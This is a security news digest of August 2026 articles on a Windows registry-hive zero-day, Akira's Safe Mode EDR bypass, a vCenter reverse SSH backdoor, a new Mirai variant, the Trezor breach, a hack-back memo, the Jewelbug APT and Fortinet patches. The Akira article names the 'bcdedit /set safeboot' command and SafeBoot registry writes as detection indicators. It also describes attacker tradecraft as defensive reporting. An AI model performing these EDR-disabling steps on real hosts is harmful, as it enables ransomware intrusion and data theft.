Between-cycle disclosures are structurally baked into scheduled patching. The day after Patch Tuesday is, mathematically, the worst day for defenders if a zero-day drops: up to four weeks until the next scheduled fix, with public knowledge of the flaw in the interim. Whether LegacyHive's disclosure was timed deliberately or not, the result for defenders is the same either way.

What the Name Suggests

"LegacyHive" points at a specific part of Windows internals: registry hives, the on-disk binary format Windows uses to persist its registry data. Hive files — NTUSER.DAT, SYSTEM, SOFTWARE, SAM — have been an attack surface for decades. Privilege escalation through improper hive access, credential harvesting from the SAM hive via shadow copies, and persistence through registry run keys all run through this same underlying architecture.

The "LegacyHive" handle is a researcher designation, not an official Microsoft identifier — Microsoft uses CVE numbers. Named zero-days travel faster through enterprise alert queues than a bare CVE ID, and the pattern of naming mid-cycle disclosures has become common. This week's ShieldBreak PoC for CVE-2026-50656 followed the same convention.

This month has been unusually active on the Windows patching front. August Patch Tuesday addressed over 400 vulnerabilities — including CVE-2026-68820, actively exploited by Lazarus before disclosure, and two publicly known zero-days. LegacyHive extends an already-busy month.

What to Do

Confirm the LegacyHive fix is applied across your Windows fleet. Given the timing — disclosed between July and August Patch Tuesday — the patch appears in Microsoft's August response. Verify with your patch management tooling; don't assume the deployment ran clean to every endpoint.

If your environment logs registry hive file access events — some EDR platforms and Windows audit policies capture these at the object level — reviewing logs from the post-disclosure window for anomalous hive activity is a low-cost cross-check. Not required, but worth the effort if your organization fits a realistic attacker target profile.

Zero-days surfacing between patch cycles are not new and will not stop happening. The same mistake, different month: the fix exists now; the only variable is how fast it propagates across the fleet.

Source: BleepingComputer

Akira Disables EDR via Safe Mode Reboot, Steals Data

Morgan "airgap" Reyes — Thu, 13 Aug 2026 22:00:00 GMT

Confirmed incident. An Akira ransomware affiliate rebooted a compromised Windows host into Safe Mode with Networking, disabled the endpoint detection and response (EDR) solution, exfiltrated data, then failed to complete encryption. BleepingComputer, August 13, 2026.

The EDR Kill Mechanism

Safe Mode with Networking loads a minimal driver set. Most EDR agents register as standard Windows services — they don't load in Safe Mode. The result is a functioning OS with C2 connectivity and no behavioral monitoring. No kernel exploit, no process injection, no admin-level driver termination required. Attacker forces a reboot; EDR disappears.

Networking is explicitly preserved. Exfiltration channels stay open.

Confidence: Technique is consistent with documented Safe Mode EDR bypass behavior — CrowdStrike, SentinelOne, and others flagged this class of bypass in prior public disclosures. Attribution of the technique to this specific Akira incident: single source, BleepingComputer. Not independently confirmed as of this writing.

The Encryption Failure

Akira's payload failed to execute cleanly in Safe Mode. Precise cause: unconfirmed. BleepingComputer reporting does not identify a specific failure reason.

Analysis — labeled as assessment:

Some ransomware families are purpose-built for Safe Mode execution — REvil hardened its encryptor for this environment explicitly. Akira's payload may not have been. Alternatively, partial detection or manual defender intervention interrupted the encryption stage after the reboot anomaly was caught. Either is plausible; both are unconfirmed.

Why the Failure Doesn't Matter

Data was exfiltrated before encryption was attempted. The double-extortion model does not require encryption — it requires leverage. In 2026, the stolen data is the leverage. "We failed to encrypt" is operationally meaningless if the exfiltration succeeded.

Defensive Notes

Alert on unscheduled Safe Mode configuration. bcdedit /set safeboot execution, registry writes to HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot, or equivalent WMI calls from non-approved processes should trigger immediate investigation — not just a log entry.
The real detection window is before the reboot. Safe Mode access requires the attacker to already have local admin or SYSTEM. Initial access and privilege escalation are where this attack is most interruptible.
Post-Safe-Mode audit. An unexplained Safe Mode reboot is a confirmed exfiltration indicator until proven otherwise. Treat it as one.
Network egress during Safe Mode. Safe Mode with Networking is not a network blackout. Anomalous outbound connections from a host during a Safe Mode window are meaningful signals.

Akira is an active ransomware operation. Related: Deadlock Ransomware Moves Ransom Funds via Polygon · Ransomware topic hub

VMware vCenter Exploit Deploys Reverse SSH Backdoor

Morgan "airgap" Reyes — Thu, 13 Aug 2026 20:00:00 GMT

New campaign detail. Threat actors exploiting CVE-2026-59310 — the CVSS 9.8 authentication bypass in VMware vCenter Server — are deploying a reverse SSH tool to establish persistent remote access on compromised management planes, per BleepingComputer reporting published today. SecurityWeek reported on the active exploitation campaign separately.

What's Changed

Previously observed: exploitation confirmation against live vCenter infrastructure (reported yesterday).

Now observed: attackers following initial exploitation with a reverse SSH deployment — an outbound tunnel from the compromised vCenter host back to attacker-controlled infrastructure. Mechanism: persistent, low-noise remote access that survives standard perimeter firewall rules (outbound SSH passes where inbound doesn't).

Confidence: single-source (BleepingComputer); no independent technical validation published as of this writing. Treat as credible reporting, not second-source confirmed.

Why Reverse SSH

Analysis — labeled as assessment, not confirmed observation:

Reverse SSH placed inside the management plane is not inside the guest VM stack. The host running vCenter typically isn't covered by the same EDR that watches endpoints. Network teams commonly permit outbound SSH from infrastructure nodes. After establishing initial access via the authentication bypass, a reverse SSH channel gives attackers a foothold that is:

Durable across VM remediation — positioned at the hypervisor management layer, not inside a guest
Low-profile — outbound traffic from infrastructure blends with normal admin patterns
Strategically positioned — vCenter manages ESXi hosts, stored VM disk images, storage, and network fabric

Actors maintaining this position can re-enter post-remediation if only the guest layer is cleaned without addressing the management plane.

Detection and Response

If you run VMware vCenter Server:

Patch first. CVE-2026-59310 has had a fix available since July 29, 2026 via Broadcom advisory VMSA-2026-0006. If you're unpatched, this is the only priority.
Audit outbound SSH from vCenter hosts. Check firewall logs for outbound port 22 connections from vCenter management nodes to unfamiliar external IPs, particularly after July 29.
Inspect SSH authorized_keys on the vCenter appliance filesystem for unauthorized entries.
Review vCenter appliance process list and scheduled tasks for unexpected persistent processes.
Isolate if unpatched. Management interfaces should be on dedicated networks, not reachable from guest VLANs or the general corporate LAN — a network-adjacent attacker is all this flaw requires.

CISA KEV status: not listed as of this writing. Active exploitation with a documented post-compromise persistence technique increases the likelihood of KEV addition — track the KEV tracker.

Previous coverage: vCenter Auth Bypass CVE-2026-59310 Now Exploited · CVE detail: CVE-2026-59310

New Mirai Variant Adds Encrypted C2 and Credential Sniffer

Dave "Kilobaud" Ferris — Thu, 13 Aug 2026 18:00:00 GMT

Researchers have documented a new Mirai variant that adds two capabilities the original botnet never had: encrypted command-and-control communications, and a built-in sniffer designed to locate devices still running factory-default credentials, The Record reported Thursday.

Mirai's original 2016 run — the one that briefly knocked out large portions of the internet by flooding Dyn's DNS infrastructure — was built almost entirely on the failure of device manufacturers and their customers to change default passwords. That playbook worked because the attack surface was enormous and largely invisible. A decade later, the credential sniffer in this new variant is betting the same attack surface still exists. That bet has historically been correct.

The encrypted C2 channel is the part that should concern incident responders more immediately. Traditional detection approaches for Mirai and its derivatives relied heavily on network-layer visibility: catch the plaintext C2 traffic, block known command-and-control IPs, flag unusual outbound connections from device subnets. Encryption breaks the first leg of that chain. You can still observe that a device is making unusual outbound connections; you can no longer easily see what it is saying without TLS inspection at the perimeter — a step most organizations haven't taken for IoT network segments, if those segments exist at all.

Analysis: Encrypted C2 has been standard in sophisticated malware for years. What's notable here is the pattern reaching botnet code that operates at IoT scale — targeting cheap embedded devices that typically can't run endpoint agents, run custom firmware that resists inspection, and sit on networks whose owners haven't thought about them since installation. The combination of credential-hunting and encrypted persistence means that once a device is compromised, detection and remediation become materially harder than they were with the original Mirai tooling.

For defenders with IoT exposure in their environments:

Change default credentials. Every network-facing device. This is the decade-old advice that this variant's credential sniffer is still counting on most sites haven't followed.
Segment IoT onto isolated VLANs with restricted egress rules. It won't prevent infection, but it limits blast radius and makes anomalous outbound connections easier to isolate from business-critical traffic.
Update firmware wherever vendors provide it — especially on routers, IP cameras, and NAS devices that have historically been primary Mirai targets.
Reassess network monitoring posture. If detection relies on plaintext traffic pattern matching, encrypted C2 bypasses it. Behavioral anomaly detection and egress volume baselining become more important as botnets encrypt their communications.

The credential angle is worth sitting with. Mirai became notorious for exploiting a weakness that wasn't fundamentally technical — it was organizational. Nobody changed the passwords because nobody thought about it, and device manufacturers shipped with defaults because there was no incentive not to. The attack surface has grown since 2016, not shrunk: more devices, cheaper devices, more SKUs from manufacturers with no meaningful security requirement baked into the supply chain. This new variant's credential sniffer is running the same play that worked a decade ago. The fact that it still expects to find devices on default credentials — and that researchers expect it to be right — says more about the state of IoT security than any individual malware capability does.

Trezor Breach: 14,000 Customers Exposed via ShipMonk Hack

Morgan "airgap" Reyes — Thu, 13 Aug 2026 16:00:00 GMT

Confirmed. Trezor has disclosed a data breach affecting nearly 14,000 customers. Root cause: ShipMonk, its third-party shipping and logistics provider, was compromised. Source: BleepingComputer, August 13, 2026.

Trezor's own infrastructure was not breached. This is downstream exposure through the logistics layer.

What's confirmed

ShipMonk compromised. Trezor customer data held by ShipMonk for order fulfillment was exposed.
Scope: approximately 14,000 affected accounts, per Trezor's disclosure.
Device integrity: unaffected. Hardware wallet private keys are stored on-device and are not part of any logistics platform's data. If you followed standard seed phrase hygiene, your funds are not at risk.

What's unconfirmed — treat accordingly

ShipMonk's breach vector. The specific data categories officially confirmed as exposed. Whether other ShipMonk clients' customer data was also affected. No public statement from ShipMonk as of publication.

Standard exposure for a logistics/shipping partner dataset: names, shipping addresses, email addresses, and phone numbers. Treat that as the working assumption until Trezor or ShipMonk publish specifics.

Why it matters for your threat model

Hardware wallet customers are high-value targets. Knowing someone bought a Trezor signals they hold cryptocurrency worth securing. Shipping data from a breach like this fuels:

Spear-phishing impersonating Trezor support — themed around breach notifications, "verify your account," or wallet recovery
SIM-swap attempts using phone numbers or email addresses from the exposed dataset
Physical targeting in jurisdictions where that exposure is elevated

This is not hypothetical. Prior exposures of Trezor-adjacent customer data have been followed by targeted phishing campaigns within days of public disclosure. The playbook is well-established.

What to do

For affected customers: Treat any inbound contact referencing your Trezor order, your shipping address, or your purchase history as potentially engineered. Verify through official channels — trezor.io — not from a link in an email or a message in a support chat you didn't initiate.

If your email was in ShipMonk's system: Expect it to appear in targeting lists used for credential stuffing and phishing. Enable 2FA on your email account if you haven't already, and watch for password-reset requests you didn't send.

Your device and seed phrase: No action required — the breach was in the logistics layer, not Trezor's firmware, key management infrastructure, or backup ecosystem. If someone is telling you otherwise, they are phishing you.

Third-party supply chain exposure continues to be an underweighted risk at organizations across every sector — from AI tooling (see LiteLLM/Trivy supply chain attack) to hardware device manufacturers. The breach surface isn't always the product you trust. It's everyone that product's maker also trusted.

Source: BleepingComputer

White House Opens Hack-Back Program to Private Firms

Morgan "airgap" Reyes — Thu, 13 Aug 2026 14:00:00 GMT

Confirmed. President Trump signed a White House memo directing the National Coordination Center (NCC) to establish a program through which private security companies can apply for government authorization to conduct offensive cyber operations against foreign cybercrime organizations. Reported today by BleepingComputer and SecurityWeek.

Program is not yet operational. Application process and eligibility criteria: not published as of this writing.

What's confirmed

Memo signed. NCC is designated as the coordination and approval body.
Framework envisions licensed offensive action — firms operating under government authorization, not freelance hack-back.
Bond: contracts may require a $1 million forfeiture bond, surrendered on non-compliance with operational requirements.
Target scope per current reporting: foreign cybercrime organizations. Domestic operations not addressed.

What's unconfirmed — treat accordingly

Eligible firm criteria. Application timeline. Mission deconfliction with NSA and USCYBERCOM. CFAA liability exposure for NCC-authorized operators. Congressional notification requirements.

Analysis

Label: interpretive — not confirmed by current reporting.

The $1M bond is the structural tell. It's a compliance choke-point: violate your operational mandate and you lose the bond, and presumably the authorization. Whether "fails to comply with operational requirements" is adjudicated by NCC, ODNI, DOJ, or some combination — and with what due process — isn't addressed in current reporting. That gap matters.

Private offensive operations against foreign adversaries occupy legally ambiguous territory even with explicit authorization. The Computer Fraud and Abuse Act carves no general safe harbor for licensed hack-back against foreign targets. Whether this memo changes that for approved operators is unconfirmed.

Structural advantage in any application process will go to firms that already hold cleared personnel, active government contracts, and intelligence community relationships. In practice the eligible pool narrows fast.

What this means now

For most organizations: nothing immediately actionable. The program isn't operational.

For firms that might seek authorization: legal and compliance review starts before the application window — not after. Watch NCC and CISA for official guidance.

The threat context this responds to is real: state-linked cybercrime crews — the kind documented in Operation Dream Job and the Jewelbug dual-ops case — operate at a tempo that traditional law enforcement channels can't match. Whether licensed private operators change that calculus is a question that's about to get tested.

Jewelbug APT Merges Espionage and Crypto Fraud

Morgan "airgap" Reyes — Thu, 13 Aug 2026 12:00:00 GMT

One C2 panel. Two revenue streams.

Symantec published research Thursday identifying a China-linked APT group — Jewelbug, also tracked as Earth Alux, REF7707, and CL-STA-0049 — operating state espionage campaigns and for-profit cryptocurrency fraud from the same command-and-control infrastructure. The finding marks the clearest documented case of a Chinese state-affiliated actor combining both mission types under unified operational control.

What Symantec observed. The group's C2 panel runs a single victim database logging more than 1 million implant check-ins, more than 580,000 stolen browser cookies, several thousand captured credentials, and more than 2,300 exfiltrated email bodies. Attribution: China-linked. Confidence: high per Symantec.

Dual-Mission Model

Jewelbug operates as what researchers characterize as a hackers-for-hire network. The espionage arm targets governments and militaries across Asia and the Middle East. The same infrastructure also handles cryptocurrency fraud targeting financial accounts. Both missions run from the same web panel, sharing a unified victim database.

The operational overlap is the novel finding — prior assessments tracked Jewelbug's espionage activity without connecting it to the financial crime side.

Confirmed Intrusions

Symantec's research documents at least four victim organizations:

Russian IT service provider (January–May 2025, approximately five months undetected)
South American government organization (September 2024–July 2025)
Taiwanese software company (October–November 2024)
South Asian IT provider (timeline not specified in reporting reviewed)

The Russian IT provider breach carries specific downstream risk: Jewelbug accessed code repositories and software build systems, raising the possibility of supply chain contamination affecting that provider's customers. No downstream compromise has been confirmed as of this writing — treat as unverified.

Toolset

Observed tools in Jewelbug campaigns include:

ShadowPad — modular backdoor with documented ties to Chinese state operations
Finaldraft — remote administration tool
Pathloader / Guidloader — shellcode downloaders for staged payload delivery
EchoDrv — exploits the ECHOAC driver; used for BYOVD (Bring Your Own Vulnerable Driver) privilege escalation
Renamed cdb.exe — Microsoft Console Debugger abused for DLL sideloading via signed-binary technique

Exfiltration in the Russia campaign routed through Yandex Cloud — a deliberate choice to blend with legitimate network traffic. Windows Event Logs were cleared post-access to obstruct forensic reconstruction.

Why the Shared Panel Matters

The hackers-for-hire framing is not new. Lazarus, linked to North Korea, similarly blends state operations with financial crime — often at volume. China's contractor model, used by groups like Volt Typhoon, is how state-adjacent actors maintain operational deniability. What Symantec's research adds is visibility into the shared infrastructure layer: the same web panel routing espionage-grade implants also manages cryptocurrency fraud victims.

That operational consolidation suggests Jewelbug's criminal revenue stream helps fund or sustain the state-tasked work, rather than existing as a purely parallel side operation. Symantec characterizes this as part of a broader trend — Chinese cyber operations increasingly rely on contractor networks carrying both financial incentives and state tasking simultaneously.

City-Forum's ongoing campaign targeting Salesforce and ServiceNow portals illustrates the same dynamic at the data layer: large-scale credential and record harvesting running at operational tempo without traditional APT infrastructure footprints.

Confidence Summary

| Claim | Confidence | |---|---| | China attribution | High (Symantec) | | Shared C2 panel for both missions | Confirmed (Symantec) | | Supply chain impact from Russia breach | Unconfirmed — build system access confirmed; downstream customer compromise is not | | Specific crypto theft mechanisms | Unspecified in published reporting reviewed | | BYOVD via EchoDrv | Confirmed reported |

What to Watch

No patch guidance or IOC-based remediation directly applies to this disclosure — Jewelbug's tradecraft relies on signed-binary abuse and legitimate cloud services rather than exploiting unpatched CVEs. Relevant defensive posture:

Audit DLL sideloading vectors in environments using Microsoft signed debug tools
Monitor for BYOVD activity, specifically EchoDrv/ECHOAC driver signatures
If Yandex Cloud has no legitimate presence in your environment, egress to it warrants investigation
Treat any IT provider in the named geographic regions (South/Southeast Asia, South America, Eastern Europe) as a potential Jewelbug pivot point until cleaner attribution is available

Full research is available via Symantec Threat Hunter Team. The Dark Reading analysis covers the dual-operations angle in more depth.

Fortinet Patches Critical FortiWeb Auth Bypass, CVSS 9.8

Morgan "airgap" Reyes — Thu, 13 Aug 2026 10:00:00 GMT

FortiWeb first. CVE-2026-26035, CVSS 9.8, critical. Improper authentication (CWE-287) in Fortinet's FortiWeb WAF lets a remote unauthenticated attacker log in to the management GUI or CLI using any arbitrary username and password. Exploitation in the wild: unconfirmed as of publication — treat accordingly.

Affected versions — FortiWeb 7.0.x through 8.0.x:

| Branch | Affected range | |--------|---------------| | FortiWeb 7.0 | 7.0.0 – 7.0.12 | | FortiWeb 7.2 | 7.2.0 – 7.2.12 | | FortiWeb 7.4 | 7.4.0 – 7.4.11 | | FortiWeb 7.6 | 7.6.0 – 7.6.6 | | FortiWeb 8.0 | 8.0.0 – 8.0.2 |

Fortinet advisory FG-IR-26-158 lists the patched builds. If immediate upgrade is not possible: restrict management interface access to trusted subnets and disable any internet-facing admin access — that buys time, it is not a fix.

The threat context: perimeter appliances are a reliable path from "advisory released" to "actively exploited." FortiGate and FortiOS flaws have been weaponized by state-sponsored actors and ransomware crews within days of disclosure. A CVSS 9.8 auth bypass on an internet-facing security device is a first-tier patch priority regardless of exploitation status.

FortiManager — CVE-2026-70468, CVSS 8.1

CVE-2026-70468, CVSS 8.1, high. Authentication bypass via alternate path or channel (CWE-288). Affects on-premises FortiManager and FortiManager Cloud:

| Variant | Affected range | |---------|---------------| | FortiManager | 7.2.5 – 7.2.9 | | FortiManager | 7.4.3 – 7.4.5 | | FortiManager | 7.6.1 | | FortiManager Cloud | 7.2.5 – 7.2.9 | | FortiManager Cloud | 7.4.3 – 7.4.5 | | FortiManager Cloud | 7.6.1 |

Advisory: FG-IR-26-160. Exploitation: unconfirmed.

FortiManager is the central management plane for FortiGate deployments — the system that holds configs, credentials, and policy for every managed device in an environment. A prior FortiManager zero-day, CVE-2024-47575, was mass-exploited by nation-state actors before most defenders had a patch window. The risk profile for management-plane auth bypasses is categorically worse than the CVSS score alone suggests.

Lower-priority advisories in the same batch

CVE-2026-71407 (FortiOS 7.6.1–7.6.6, CVSS 5.6, medium): Stack buffer overflow in the WAD daemon via crafted sockets. Exploitable only when explicit proxy with Kerberos authentication and SOCKS is enabled. Unauthenticated path.
CVE-2026-71408 (FortiOS 7.2–7.6 across multiple branches, CVSS 5.3, medium): Resource exhaustion leading to denial of service.

Patch these on your normal cycle unless the condition for CVE-2026-71407 matches your deployment (explicit proxy + Kerberos + SOCKS — if so, elevate it).

What to do

FortiWeb — Identify deployed versions. Upgrade per FG-IR-26-158. No upgrade window yet: firewall management access to known-good subnets, disable internet-facing admin paths.
FortiManager — Upgrade per FG-IR-26-160. Management interfaces should not be internet-accessible regardless of patch status — if they are, fix that now independent of the patch.
FortiOS (medium-severity) — Patch on your standard cycle per the linked advisories.

Related: August was a heavy patch month across the board — see the August 2026 Patch Tuesday roundup and Cisco ASA/FTD CVE-2026-20349 KEV addition for perimeter device context.